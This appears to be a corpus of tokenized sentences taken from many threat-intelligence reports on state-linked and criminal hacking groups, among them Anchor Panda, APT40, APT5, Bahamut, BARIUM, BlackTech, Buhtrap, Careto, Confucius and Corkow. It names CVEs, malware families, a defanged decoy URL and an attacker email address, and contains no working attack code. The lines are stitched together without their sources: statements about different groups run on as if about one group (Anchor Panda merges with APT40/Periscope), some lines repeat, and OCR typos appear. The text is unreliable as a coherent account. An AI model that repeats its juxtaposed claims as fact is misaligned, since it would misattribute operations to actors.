A current round of cyber-attacks from Chinese source groups are targeting the maritime sector in an attempt to steal technology .
PLA Navy Anchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy .
ALLANITE operations continue and intelligence indicates activity since at least May 2017 .
APT Anchor Panda is a Chinese threat actor group who target maritime operations .
According to cyber security researchers , Anchor Panda , who work directly for the Chinese PLA Navy , likely remains active .
Dragos does not corroborate nor conduct political attribution to threat activity .
In the past they used Adobe Gh0st , Poison Ivy and Torn RAT malware as their primary attack vector is sphere phishing .
Their targets are marine companies that operate in and around the South China Sea , an area of much Chinese interest .
As recently as this past week , researchers observed Chinese hackers escalating cyber-attack efforts to steal military research secrets from US universities .
The cyber-espionage campaign has labelled the group Advanced Persistent Threat ( APT ) 40 or , titled , Periscope .
The group has been active since at least January 2013 .
The group has also targeted businesses operating in the South China Sea , which is a strategically important region and the focus of disputes between China and other states .
The main targets seem to be US companies in engineering , transport and defense , although it has targeted other organizations around the world .
The times of day the group is active also suggests that it is based near Beijing and the group has reportedly used malware that has been observed in other Chinese operations , indicating some level of collaboration .
Periscope 's activity has previously been suspected of being linked to China , but now researchers believe their evidence links the operation to the Chinese state .
APT40 is described as a moderately sophisticated cyber-espionage group which combines access to significant development resources with the ability to leverage publicly available tools .
Anchor Panda uses website and web-server compromise as a means of attack and leverages an enormous cache of tools in its campaigns , to include exploits that take advantage of known CVE software vulnerabilities .
Like many espionage campaigns , much of APT40 's activity begins by attempting to trick targets with phishing emails , before deploying malware such as the Gh0st RAT trojan to maintain persistence on a compromised network .
The group uses website and web-server compromise as a means of attack and leverages an enormous cache of tools in its campaigns , to include exploits that take advantage of known CVE software vulnerabilities .
More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors .
APT5 has been active since at least 2007 .
APT5 has targeted or breached organizations across multiple industries , but its focus appears to be on telecommunications and technology companies , especially information about satellite communications .
APT5 targeted the network of an electronics firm that sells products for both industrial and military applications .
The group subsequently stole communications related to the firm 's business relationship with a national military , including inventories and memoranda about specific products they provided .
In one case in late 2014 , APT5 breached the network of an international telecommunications company .
The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company 's relationships with other telecommunications companies .
APT5 also targeted the networks of some of Southeast Asia 's major telecommunications providers with Leouncia malware .
We suspect that the group sought access to these networks to obtain information that would enable it to monitor communications passing through the providers' systems .
The FBI said the " group of malicious cyber actors " ( known as APT6 or 1.php ) used dedicated top-level domains in conjunction with the command and control servers to deliver " customized malicious software " to government computer systems .
Deepen told Threatpost the group has been operating since at least since 2008 and has targeted China and US relations experts , Defense Department entities , and geospatial groups within the federal government .
Government officials said they knew the initial attack occurred in 2011 , but are unaware of who specifically is behind the attacks .
According to Deepen , APT6 has been using spear phishing in tandem with malicious PDF and ZIP attachments or links to malware infected websites that contains a malicious SCR file .
Nearly a month later , security experts are now shining a bright light on the alert and the mysterious group behind the attack .
The attacks discussed in this blog are related to an APT campaign commonly referred to as " th3bug " , named for the password the actors often use with their Poison Ivy malware .
Over the summer they compromised several sites , including a well-known Uyghur website written in that native language .
In contrast to many other APT campaigns , which tend to rely heavily on spear phishing to gain victims , " th3bug " is known for compromising legitimate websites their intended visitors are likely to frequent .
While we were unable to recover the initial vulnerability used , it is possibly the same CVE-2014-0515 Adobe Flash exploit first reported by Cisco TRAC in late July .
However , to increase success rates APT20 can use zero-day exploits , so even a properly patched system would be compromised .
Our direct observation of in-the-wild spearphishing attacks staged by the Bahamut group have been solely attempts to deceive targets into providing account passwords through impersonation of notices from platform providers .
Bahamut was first noticed when it targeted a Middle Eastern human rights activist in the first week of January 2017 .
Later that month , the same tactics and patterns were seen in attempts against an Iranian women 's activist – an individual commonly targeted by Iranian actors , such as Charming Kitten and the Sima campaign documented in our 2016 Black Hat talk .
In June we published on a previously unknown group we named " Bahamut " , a strange campaign of phishing and malware apparently focused on the Middle East and South Asia .
Once inside a network , APT40 uses credential-harvesting tools to gain usernames and passwords , allowing it to expand its reach across the network and move laterally through an environment as it moves to towards the ultimate goal of stealing data .
Bahamut was shown to be resourceful , not only maintaining their own Android malware but running propaganda sites , although the quality of these activities varied noticeably .
In June we published on a previously unknown group we named " Bahamut " , a strange campaign of phishing and malware apparently focused on the Middle East and South Asia .
Several times , APT5 has targeted organizations and personnel based in Southeast Asia .
However , in the same week of September a series of spearphishing attempts once again targeted a set of otherwise unrelated individuals , employing the same tactics as before .
Our primary contribution in this update is to implicate Bahamut in what are likely counterterrorism-motivated surveillance operations , and to further affirm our belief that the group is a hacker-for-hire operation .
As we wrote then , compared to Kingphish , Bahamut operates as though it were a generation ahead in terms of professionalism and ambition .
In the Bahamut report , we discussed two domains found within our search that were linked with a custom Android malware agent .
After the publication of the original report , these sites were taken offline despite the fact that one agent was even updated a six days prior to our post ( the " Khuai " application ) .
FIF is notable for its links to the Lashkar-e-Taiba ( LeT ) terrorist organization , which has committed mass-casualty attacks in India in support of establishing Pakistani control over the disputed Jammu and Kashmir border region .
As a result , it is already flagged as Bahamut by antivirus engines .
Our initial observation of the Bahamut group originated from in-the-wild attempts to deceive targets into providing account passwords through impersonation of platform providers .
One curious trait of Bahamut is that it develops fully-functional applications in support of its espionage activities , rather than push nonfunctional fake apps or bundle malware with legitimate software .
Curiously , Bahamut appears to track password attempts in response to failed phishing attempts or to provoke the target to provide more passwords .
Bahamut spearphishing attempts have also been accompanied with SMS messages purporting to be from Google about security issues on their account , including a class 0 message or " flash text " .
These text messages did not include links but are intended to build credibility around the fake service notifications later sent to the target 's email address .
We have not found evidence of Bahamut engaging in crime or operating outside its limited geographic domains , although this narrow perspective could be accounted for by its compartmentalization of operations .
Thus far , Bahamut 's campaigns have appeared to be primarily espionage or information operations – not destructive attacks or fraud .
The targets and themes of Bahamut 's campaigns have consistently fallen within two regions – South Asia ( primarily Pakistan , specifically Kashmir ) and the Middle East ( from Morocco to Iran ) .
Our prior publication also failed to acknowledge immensely valuable input from a number of colleagues , including Nadim Kobeissi 's feedback on how the API endpoints on the Android malware were encrypted .
Bahamut targeted similar Qatar-based individuals during their campaign .
Bellingcat also reported the domain had been used previously to host potential decoy documents as detailed in VirusTotal here using hxxp://voguextra.com/decoy.doc .
The China-backed BARIUM APT is suspected to be at the helm of the project .
Trojanized versions of the utility were then signed with legitimate certificates and were hosted on and distributed from official ASUS update servers – which made them mostly invisible to the vast majority of protection solutions , according to Kaspersky Lab .
Kaspersky Lab To compromise the utility , Kaspersky Lab determined that the cyberattackers used stolen digital certificates used by ASUS to sign legitimate binaries , and altered older versions of ASUS software to inject their own malicious code .
To compromise the utility , Kaspersky Lab determined that Barium used stolen digital certificates used by ASUS to sign legitimate binaries , and altered older versions of ASUS software to inject their own malicious code .
BARIUM , a Chinese state player that also goes by APT17 , Axiom and Deputy Dog , was previously linked to the ShadowPad and CCleaner incidents , which were also supply-chain attacks that used software updates to sneak onto machines .
That said , the " fingerprints " left on the samples by the attackers – including techniques used to achieve unauthorized code execution – suggest that the BARIUM APT is behind the effort , according to the researchers .
In the 2017 ShadowPad attack , the update mechanism for Korean server management software provider NetSarang was compromised to serve up an eponymous backdoor .
In the next incident , also in 2017 , software updates for the legitimate computer cleanup tool CCleaner was found to have been compromised by hackers to taint them with the same ShadowPad backdoor .
NetSarang , which has headquarters in South Korea and the United States , removed the backdoored update , but not before it was activated on at least one victim 's machine in Hong Kong .
Given our increased confidence that Bahamut was responsible for targeting of Qatari labor rights advocates and its focus on the foreign policy institutions other Gulf states , Bahamut 's interests are seemingly too expansive to be limited one sponsor or customer .
Barium specializes in targeting high value organizations holding sensitive data , by gathering extensive information about their employees through publicly available information and social media , using that information to fashion phishing attacks intended to trickthose employees into compromising their computers and networks .
We identified an overlap in the domain voguextra.com , which was used by Bahamut within their " Devoted To Humanity " app to host an image file and as C2 server by the PrayTime iOS app mentioned in our first post .
Althoughthe BariumDefendants have relied on differentand distinct infrastructures in an effortto evade detection , Bariumused the same e-mail address (hostay88@gmail.com ) to register malicious domains used in connection with at least two toolsets that Barium has employed to compromise victim computers .
The second method , described in Part D.2 , below , involves the " ShadowPad " malware , which the Barium Defendants have distributed via a third-party software provider 's compromised update .
To enhance the effectiveness of phishing attacks into the organization , Barium will collect additional background informationfrom social media sites .
Employing a technique known as " spear phishing " , Barium has heavily targeted individuals within HumanResources or Business Developmentdepartments ofthe targeted organizations in order to compromise the computers ofsuch individuals .
The first method , described in Part D.l , below , involves the " Barlaiy " and " PlugXL " malware , which the Barium Defendants propagate using phishing techniques .
Using the information gathered from its reconnaissance on social media sites , Barium packages the phishing e-mail in a way that gives the e-mail credibility to the target user , often by making the e-mail appear as ifit were sent from an organization known to and trusted by the victim or concerning a topic of interest to the victim .
Barium Defendants install the malicious " Win32/Barlaiy " malware and the malicious " Win32/PlugX.L " malware on victim computers using the means described above .
Both Win32/Barlaiy & Win32/PlugX.L are remote access " trojans " , which allow Barium to gather a victim 's information , control a victim 's device , install additional malware , and exfiltrate information fi-om a victim 's device .
Barium Defendants install the malicious credential stealing and injection tool known as " Win32/RibDoor.A!dha " .
While not detected at the time , Microsoft 's antivirus and security products now detect this Barium malicious file and flag the file as " Win32/ShadowPad.A " .
MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .
Figure 9a , below , shows detections of encounters with the Barium actors and their infrastructure , including infected computers located in Virginia , and Figure 9b , below , shows detections of encounters throughout the United States .
Barium has targeted Microsoft customers both in Virginia , the United States , and around the world .
Once the Barium Defendants have access to a victim computer through the malware described above , they monitor the victim 's activity and ultimately search for and steal sensitive documents ( for example , exfiltration of intellectual property regarding technology has been seen ) , and personal information fi"om the victim 's network .
According to a 49-page report published Thursday , all of the attacks are the work of Chinese government 's intelligence apparatus , which the report 's authors dub the Winnti Umbrella .
Researchers from various security organizations have used a variety of names to assign responsibility for the hacks , including LEAD , BARIUM , Wicked Panda , GREF , PassCV , Axiom , and Winnti .
It targets organizations in Japan , South Korea , and Taiwan , leveling its attacks on public sector agencies and telecommunications and other high-technology industries .
In 2016 , for instance , we found their campaigns attacking Japanese organizations with various malware tools , notably the Elirks backdoor .
Blackgear has been targeting various industries since its emergence a decade ago .
Blackgear 's campaigns also use email as an entry point , which is why it's important to secure the email gateway .
BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years .
Our research indicates that it has started targeting Japanese users .
The malware tools used by BLACKGEAR can be categorized into three categories : binders , downloaders and backdoors .
Binders are delivered by attack vectors ( such as phishing and watering hole attacks ) onto a machine .
Based on the mutexes and domain names of some of their C&C servers , BlackTech 's campaigns are likely designed to steal their target 's technology .
Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns : PLEAD , Shrouded Crossbow , and of late , Waterbear .
Active since 2012 , it has so far targeted Taiwanese government agencies and private organizations .
PLEAD uses spear-phishing emails to deliver and install their backdoor , either as an attachment or through links to cloud storage services .
PLEAD also dabbled with a short-lived , fileless version of their malware when it obtained an exploit for a Flash vulnerability ( CVE-2015-5119 ) that was leaked during the Hacking Team breach .
PLEAD also uses CVE-2017-7269 , a buffer overflow vulnerability Microsoft Internet Information Services ( IIS ) 6.0 to compromise the victim 's server .
This campaign , first observed in 2010 , is believed to be operated by a well-funded group given how it appeared to have purchased the source code of the BIFROST backdoor , which the operators enhanced and created other tools from .
Shrouded Crossbow targeted privatized agencies and government contractors as well as enterprises in the consumer electronics , computer , healthcare , and financial industries .
Shrouded Crossbow employs three BIFROST-derived backdoors : BIFROSE , KIVARS , and XBOW .
Like PLEAD , Shrouded Crossbow uses spear-phishing emails with backdoor-laden attachments that utilize the RTLO technique and accompanied by decoy documents .
XBOW 's capabilities are derived from BIFROSE and KIVARS ; Shrouded Crossbow gets its name from its unique mutex format .
While PLEAD and KIVARS are most likely to be used in first phase attacks , Waterbear can be seen as a secondary backdoor installed after attackers have gained a certain level of privilege .
Recently , the JPCERT published a thorough analysis of the Plead backdoor , which , according to Trend Micro , is used by the cyberespionage group BlackTech .
Despite the fact that the Changing Information Technology Inc. certificate was revoked on July 4 , 2017 , the BlackTech group is still using it to sign their malicious tools .
The BlackTech group is primarily focused on cyberespionage in Asia .
The new activity described in this blogpost was detected by ESET in Taiwan , where the Plead malware has always been most actively deployed .
Attackers are targeting Windows platform and aiming at government institutions as well as big companies in Colombia .
Attackers like to use spear-fishing email with password protected RAR attachment to avoid being detected by the email gateway .
The first sample being captured was in April 2018 and since that we observed a lot more related ones .
After performing investigations on the classified victims , we find the attacker targets big companies and government agencies in Colombia .
After monitoring and correlating the APT attack , 360 Threat Intelligence Center discovered multiple related emails to attack Colombian government agencies , financial institutions and large enterprises .
The oldest sample we've seen up to now is from November 2013 .
One of the top targets is the Japan Pension Service , but the list of targeted industries includes government and government agencies , local governments , public interest groups , universities , banks , financial services , energy and so on .
However , the attack is different in two respects : unlike other APTs , the main focus of Blue Termite is to attack Japanese organizations ; and most of their C2s are located in Japan .
Originally , the main infection vector of Blue Termite was spear-phishing emails .
Kaspersky Lab has detected a new method of first infection that uses a drive-by-download with a flash exploit ( CVE-2015-5119 , the one leaked from The Hacking Team incident ) .
Kaspersky Lab also found some watering hole attacks , including one on a website belonging to a prominent member of the Japanese government .
In early July 2015 , however , Kaspersky Lab found a sample that creates a decryption key with Salt1 , Salt2 , and Salt3 .
From early June , when the cyber-attack on the Japan Pension Service started to be reported widely , various Japanese organizations would have started to deploy protection measures .
It employs AES in addition to SID tricks , making it difficult to decrypt sensitive data .
In order to fight back against this cyber-espionage , Kaspersky Lab will continue its research .
Bookworm 's functional code is radically different from PlugX and has a rather unique modular architecture that warranted additional analysis by Unit 42 .
Bookworm has little malicious functionality built-in , with its only core ability involving stealing keystrokes and clipboard contents .
The Plead malware is a backdoor which , according to Trend Micro , is used by the BlackTech group in targeted attacks .
So far , it appears threat actors have deployed the Bookworm Trojan primarily in attacks on targets in Thailand .
The threat actors use a commercial installation tool called Smart Installer Maker to encapsulate and execute a self-extracting RAR archive and in some cases a decoy slideshow or Flash installation application .
The self-extracting RAR writes a legitimate executable , an actor-created DLL called Loader.dll and a file named readme.txt to the filesystem and then executes the legitimate executable .
targeted attacks .
Using XREFs during static analysis is a common technique to quickly find where functions of interest are called .
The developers designed Bookworm to be a modular Trojan not limited to just the initial architecture of the Trojan , as Bookworm can also load additional modules provided by the C2 server .
Although the developers of Bookworm have included only keylogging functionality in Bookworm as a core ability , as suggested in Table 1 , several of the embedded DLLs provide Leader with cryptographic and hashing functions , while others support Leader 's ability to communicate with its C2 server .
While we did not discuss the surrounding attacks using Bookworm in detail , we have observed threat actors deploying Bookworm primarily in attacks on targets in Thailand .
Also , Bookworm uses a combination of encryption and compression algorithms to obfuscate the traffic between the system and C2 server .
The developers of Bookworm have gone to great lengths to create a modular framework that is very flexible through its ability to run additional modules directly from its C2 server .
Unit 42 recently published a blog on a newly identified Trojan called Bookworm , which discussed the architecture and capabilities of the malware and alluded to Thailand being the focus of the threat actors' campaigns .
Leader is Bookworm 's main module and controls all of the activities of the Trojan , but relies on the additional DLLs to provide specific functionality .
The developers of Bookworm use these modules in a rather unique way , as the other embedded DLLs provide API functions for Leader to carry out its tasks .
Unit 42 does not have detailed targeting information for all known Bookworm samples , but we are aware of attempted attacks on at least two branches of government in Thailand .
We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents , as well as several of the dynamic DNS domain names used to host C2 servers that contain the words " Thai " or " Thailand " .
We believe that it is likely threat actors will continue development Bookworm , and will continue to use it for the foreseeable future .
Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand .
Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand .
As mentioned in our previous blog on Bookworm , the Trojan sends a static date string to the C2 server that we referred to as a campaign code .
We believed that the actors would use this date code to track their attack campaigns ; however , after continued analysis of the malware , we think these static dates could also be a build identifier for the Trojan .
Threat actors may use the date string hardcoded into each Bookworm sample as a build identifier .
A Trojan sending a build identifier to its C2 server is quite common , as it notifies the threat actors of the specific version of the Trojan in which they are interacting .
Due to these changes without a new date string , we believe the date codes are used for campaign tracking rather than a Bookworm build identifier .
We believe that Bookworm samples use the static date string as campaign codes , which we used to determine the approximate date of each attack that we did not have detailed targeting information .
Another decoy slideshow associated with the Bookworm attack campaign contains photos of an event called Bike for Dad 2015 .
The campaign code " 20150920 " is associated with this decoy , which is a week prior to media articles announcing that the Crown Price of Thailand Maha Vajiralongkorn will lead the Bike for Dad 2015 event .
Chitpas is heavily involved with Thailand politics and was a core leader of the People's Committee for Absolute Democracy ( PCAD ) , which is an organization that staged anti-government campaigns in 2013 and 2014 .
The final remaining known decoy includes photos of Chitpas Tant Kridakon ( Figure 7 ) , who is known as heiress to the largest brewery in Thailand .
These images were associated with the Bookworm campaign code " 20150905 " .
Unit 42 analyzed the systems communicating with the Bookworm C2 domains and found that a majority of the IP addresses existed within autonomous systems ( ASN ) located in Thailand .
The pie chart in Figure 8 shows that the vast majority ( 73% ) of the hosts are geographically located in Thailand , which matches the known targeting of this threat group .
We believe that the IP addresses from Canada , Russia and Norway are analysis systems of antivirus companies or security researchers .
Overall , the Bookworm infrastructure overlaps with the infrastructure hosting C2 servers used by various attack tools , including FFRAT , Poison Ivy , PlugX , and others .
Overall , the Bookworm infrastructure overlaps with the infrastructure hosting C2 servers used by various attack tools , including FFRAT , Poison Ivy , PlugX , and others .
Unit 42 enumerated the threat infrastructure related to Bookworm and created a chart to visualize connected entities to its current attack campaign .
Threat actors have targeted the government of Thailand and delivered the newly discovered Bookworm Trojan since July 2015 .
The actors appear to follow a set playbook , as the observed TTPs are fairly static within each attack in this campaign .
So far , Unit 42 has seen infrastructure overlaps with servers hosting C2 servers for samples of the FFRAT , PlugX , Poison Ivy and Scieron Trojans , suggesting that the threat actors use these tools as the payload in their attacks .
The threat actors have continually used Flash Player installers and Flash slideshows for decoys .
The vast majority of systems communicating with Bookworm C2 servers are within the Bangkok metropolitan area where a majority of the government of Thailand exists .
Buhtrap has been active since 2014 , however their first attacks against financial institutions were only detected in August 2015 .
At the moment , the group is known to target Russian and Ukrainian banks .
Buhtrap is the first hacker group using a network worm to infect the overall bank infrastructure that significantly increases the difficulty of removing all malicious functions from the network .
Malicious programs intentionally scan for machines with an automated Bank-Customer system of the Central bank of Russia ( further referred to as BCS CBR ) .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
We noticed that criminals were spreading Buhtrap using this method from May 2015 to August 2015 .
It is worth noting that attackers used the same compromised websites to spread Buhtrap as those that had been used for the Corkow Trojan .
Moreover , they used the same exploit kit Niteris as that in the Corkow case .
Purportedly during one of the first attacks hackers intercepted the mailing list of the Anti-drop " club and created a specific phishing email for its members .
However , it is still widely used , notably in Russia .
As noted in our previous blog on Buhtrap , this gang has been actively targeting Russian businesses , mostly through spear-phishing .
It is thus interesting to see Buhtrap add strategic web compromises to their arsenal .
The first malware we saw was the lurk downloader , which was distributed on October 26th .
The executable would install the real Ammyy product , but would also launch a file called either AmmyyService.exe or AmmyySvc.exe which contained the malicious payload .
Buhtrap is getting better at disguising the code they inject into compromised websites .
With the recent arrests of actors using the Lurk banking trojan , Buhtrap appears to be a likely alternative for actors wishing to target Russian banks and software .
They have different functions and ways of spreading , but the same purpose — to steal money from the accounts of businesses .
Our experts have found that cybercriminals are actively focusing on SMBs , and giving particular attention to accountants .
The first encounter with Buhtrap was registered back in 2014 .
For now , we can call RTM one of the most active financial Trojans .
At that time it was the name of a cybercriminal group that was stealing money from Russian financial establishments — to the tune of at least $150,000 per hit .
Buhtrap resurfaced in the beginning of 2017 in the TwoBee campaign , where it served primarily as means of malware delivery .
After the source codes of their tools became public in 2016 , the name Buhtrap was used for the financial Trojan .
Just like last time , Buhtrap is spreading through exploits embedded in news outlets .
Estimating the damages is challenging , but as we learned , the criminals are siphoning off assets in transactions that do not exceed $15,000 each .
As explained later , we believe this campaign is financially-motivated and that it targets accounting departments in Russian businesses .
" Buhgalter " means " accountant " in Russian .
Seeing a campaign like this , inevitably the Anunak/Carbanak documented by Fox-IT and Kaspersky comes to mind .
The infection vector is similar , it uses a similar modified mimikatz application , and it uses a third-party remote access tool , changes system settings to allow concurrent RDP sessions , and so on .
The second , aptly titled " kontrakt87.doc " , copies a generic telecommunications service contract from MegaFon , a large Russian mobile phone operator .
In addition to built-in functionalities , the operators of Careto can upload additional modules which can perform any malicious task .
Careto 's Mask campaign we discovered relies on spear-phishing e-mails with links to a malicious website .
Sometimes , the attackers use sub-domains on the exploit websites , to make them seem more legitimate .
These sub-domains simulate sub-sections of the main newspapers in Spain plus some international ones like the Guardian and the Washington Post .
The CVE-2012-0773 was originally discovered by VUPEN and has an interesting story .
In other words , the attackers attracted our attention by attempting to exploit Kaspersky Lab products .
We initially became aware of Careto when we observed attempts to exploit a vulnerability in our products to make the malware " invisible " in the system .
Most modules were created in 2012 .
The attackers began taking them offline in January 2014 .
Last week we discussed Numbered Panda , a group that is also based out of China and is fairly well known to the security community , though by many names .
We revealed a Chinese-based adversary we crypt as Anchor Panda , a group with very specific tactics , techniques , and procedures ( TTPs ) and a keen interest in maritime operations and naval and aerospace technology .
The campaign was active until January 2014 , but during our investigations the C&C servers were shut down .
This week we are going to discuss Clever Kitten , whom , by virtue of several indicators , we have affiliated with the Islamic Republic of Iran .
Clever Kitten has moved to leveraging strategic web compromises .
Clever Kitten actors have a strong affinity for PHP server-side attacks to make access ; this is relatively unique amongst targeted attackers who often favor targeting a specific individual at a specific organization using social engineering .
Clever Kitten primarily targets global companies with strategic importance to countries that are contrary to Iranian interests .
A Clever Kitten attack starts with the use of a web vulnerability scanner to conduct reconnaissance .
The scanner was identified as the Acunetix Web Vulnerability Scanner which is a commercial penetration testing tool that is readily available as a 14-day trial .
Once an exploitable page is identified , Clever Kitten will attempt to upload a PHP backdoor to gain remote access to the system .
The reason for this is likely the availability of exploits against web browsers , which for a variety of reasons allows an attacker to bypass security features such as Data Execution Prevention ( DEP ) or Address Space Layout Randomization ( ASLR ) .
Once an exploitable page is identified , the actor will attempt to upload a PHP backdoor to gain remote access to the system .
In Clever Kitten 's attacks , the goal is lateral movement ; this is an attempt to move further into the target environment in order to begin intelligence collection .
This activity is a longer tail for the actor than a spearphish ; this is likely based on the Clever Kitten background , which may be focused on web development/application testing .
Without going too deep into the rabbit hole , there are several indicators pointing to an Iranian nexus , including language artifacts in the tool-marks used by the attacker , as well as network activity tying this actor to a very specific location that we have high confidence in not being spoofed .
Clever Kitten 's goal is to eventually be able to masquerade as a legitimate user by compromising credentials either through a pass-the-hash attack , or by dumping password hashes from a compromised host .
The campaign targets Middle Eastern organizations largely from the Lebanon and United Arab Emirates , though , Indian and Canadian companies with interests in those Middle Eastern countries are also targeted .
There are new TTPs used in this attack – for example Agent_Drable is leveraging the Django python framework for command and control infrastructure , the technical details of which are outlined later in the blog .
n summary , Cold River is a sophisticated threat actor making malicious use of DNS tunneling for command and control activities , compelling lure documents , and previously unknown implants .
Some of the exploit server paths contain modules that appear to have been designed to infect Linux computers , but we have not yet located the Linux backdoor .
The campaign targets Middle Eastern organizations largely from the Lebanon and United Arab Emirates , though , Indian and Canadian companies with interests in those Middle Eastern countries may have also been targeted .
The decoy documents used by the InPage exploits suggest that the targets are likely to be politically or militarily motivated .
The use of InPage as an attack vector is not commonly seen , with the only previously noted attacks being documented by Kaspersky in late 2016 .
The decoy documents dropped suggest that the targets are likely to be politically or militarily motivated , with subjects such as Intelligence reports and political situations being used as lure documents .
While documents designed to exploit the InPage software are rare , they are not new – however in recent weeks Unit42 has observed numerous InPage exploits leveraging similar shellcode , suggesting continued use of the exploit previously discussed by Kaspersky .
Confucius targeted a particular set of individuals in South Asian countries , such as military personnel and businessmen , among others .
Tweety Chat 's Android version can record audio , too .
Confucius' operations include deploying bespoke backdoors and stealing files from their victim 's systems with tailored file stealers , some of which bore resemblances to Patchwork 's .
Compared to Patchwork , whose Trojanized documents exploit at least five security flaws , Confucius' backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
Back in February , we noted the similarities between the Patchwork and Confucius groups and found that , in addition to the similarities in their malware code , both groups primarily went after targets in South Asia .
Back in February , Trend Micro noted the similarities between the Patchwork and Confucius groups and found that , in addition to the similarities in their malware code , both groups primarily went after targets in South Asia .
One of its file stealers , swissknife2 , abuses a cloud storage service as a repository of exfiltrated files .
During the months that followed in which we tracked Confucius' activities , we found that they were still aiming for Pakistani targets .
During their previous campaign , we found Confucius using fake romance websites to entice victims into installing malicious Android applications .
Periodically , the malware tries to contact the Command-and-Control ( C&C ) server with the username encoded into parameters .
This function is similar to the various versions of backdoors ( such as sctrls and sip_telephone ) that we analyzed in our previous blog post and whitepaper .
This algorithm was previously discussed by security researchers in a Confucius-related blog post .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
The group still uses the Badnews malware , a backdoor with information-stealing and file-executing capabilities , albeit updated with a slight modification in the encryption routine at the end of 2017 , when they added Blowfish encryption on top of their custom encryption described in our former Patchwork blogpost .
Threat actors like Confucius and Patchwork are known for their large arsenal of tools and ever-evolving techniques that can render traditional security solutions — which are often not designed to handle the persistent and sophisticated threats detailed in this blog — ineffective .
The reality is that IT departments of small to large-sized organizations are not equipped to handle the more advanced threats that groups like Confucius use in their attacks .
Patchwork uses email as an entry point , which is why securing the email gateway is important .
This blog post examines two similar malware families that utilize the aforementioned technique to abuse legitimate websites , their connections to each other , and their connections to known espionage campaigns .
In order to increase the likelihood of their malware successfully communicating home , cyber espionage threat actors are increasingly abusing legitimate web services , in lieu of DNS lookups to retrieve a command and control address .
In 2013 , Rapid7 reported on a series of relatively amateur attacks against Pakistani targets .
The first of which we call ' CONFUCIUS_A ' , a malware family that has links to a series of attacks associated with a backdoor attack method commonly known as SNEEPY ( aka ByeByeShell ) first reported by Rapid7 in 2013 .
At first glance CONFUCIUS_B looks very similar to CONFUCIUS_A , and they are also packaged in plain SFX binary files .
The CONFUCIUS_B executable is disguised as a PowerPoint presentation , using a Right-To-Left-Override ( RTLO ) trick and a false icon .
We also believe that both clusters of activity have links to attacks with likely Indian origins , the CONFUCIUS_A attacks are linked to the use of SNEEPY/BYEBYESHELL and the CONFUCIUS_B have a loose link to Hangover .
The two malware families themselves are also very similar , and therefore we think that the shared technique is an indication of a single developer , or development company , behind both CONFUCIUS_A and CONFUCIUS_B .
In this blog post , we discussed two separate malware variations that behave in very similar ways and use similar techniques to acquire a C2 address , with both using Yahoo Answers and Quora to evade traditional mechanisms for blocking command and control domains .
The Android version , for instance , can steal SMS messages , accounts , contacts , and files , as well as record audio .
Confucius' backdoors are delivered through Office documents exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
We dove deeper into Confucius' operations—namely , the malware-ridden documents , backdoors , and file stealers they use in their campaigns .
The sctrls backdoor we came across is delivered via RTF files exploiting CVE-2015-1641 .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
In August 2015 a new incident related to the Corkow ( Metel ) Trojan was detected .
Corkow provided remote access to the ITS-Broker system terminal by 《 Platforma soft 》 Ltd , which enabled the fraud to be committed .
According to our statistics , as of the beginning of 2015 this botnet encompassed over 250 000 infected devices worldwide including infecting more than 100 financial institutions with 80% of them from the top 20 list .
The interest among hackers in targeting trading systems is expected to grow .
Russian-speaking hackers are believed to be responsible for these attacks and used the Corkow Trojan .
Hackers target primarily companies in Russia and CIS countries , though it is noticed that the amount of attacks targeting the USA has increased 5 times since 2011 .
One of the first botnets specializing in targeting the trading software called Quik was " Ranbyus " , created in 2012 .
As of the Group-IB investigation of this malware program in March 2015 , Corkow v.7.118.1.1 had not been detected by a single antivirus program .
Hackers gained access to a computer in the trading system in September 2014 .
Starting in December 2014 , the criminal group began running keyloggers in the infected system .
To spread the Corkow malware criminals use a drive-by downloads method , when victims are infected while visiting compromised legitimate websites .
Group-IB specialists detected various sites used by criminals to spread the Trojan : mail tracking websites , news portals , electronic books , computer graphics resources , music portals , etc .
Hackers use the exploits " Nitris Exploit Kit " ( earlier known as CottonCastle ) , which is not available in open sources and sold only to trusted users .
Group-IB Bot-trek TDS sensors are in place at a number of financial institutions and , unfortunately , we register that currently Corkow malware is present on 80% of protected corporate systems .
Considering the Trojan delivery method and through our analysis of infections on banks' networks , we can confirm that all infections were conducted on a random basis .
According to statistics , Corkow primarily targets users in Russia and the CIS , but it is worth noting that in 2014 the amount of attacks targeting the USA increased by 5 times , in comparison with 2011 .
Moreover , the number of Corkow incidents detected in Q1 2015 in the United States exceeds the number of those in the CIS countries .
Moreover , the number of Corkow incidents detected in Q1 2015 in the United States exceeds the number of those in the CIS countries .
Hackers first actively spread bots using the Niteris exploit , and then search for infected devices at banks amongst their bots by analyzing IP addresses , cracked passwords and results of the modules performance .
In addition to the legitimate AmmyAdmin tool , the hackers used Visconti Backdoor developed based on legitimate RMS ( remote manipulator system ) software .
If a bot was installed on a network that was of interest to the hacking group , this bot was then used to upload one of the remote access programs .
To obtain logins and passwords they applied keyloggers built into Corkow , as well as a commonly used feature of Mimikatz , dumping clear text Windows credentials from LSA .
Hackers used the remote access to detect servers of their interest in the internal network .
In 2015 , the Metel gang began to target banks and financial institutions directly .
Metel is a banking Trojan ( also known as Corkow ) discovered in 2011 when it was used to attack users of online banking services .
After the infection stage , criminals move laterally with the help of legitimate and pentesting tools , stealing passwords from their initial victims ( entry point ) to gain access to the computers within the organization that have access to money transactions .
With this level of access , the gang has been able to pull off a clever trick by automating the rollback of ATM transactions .
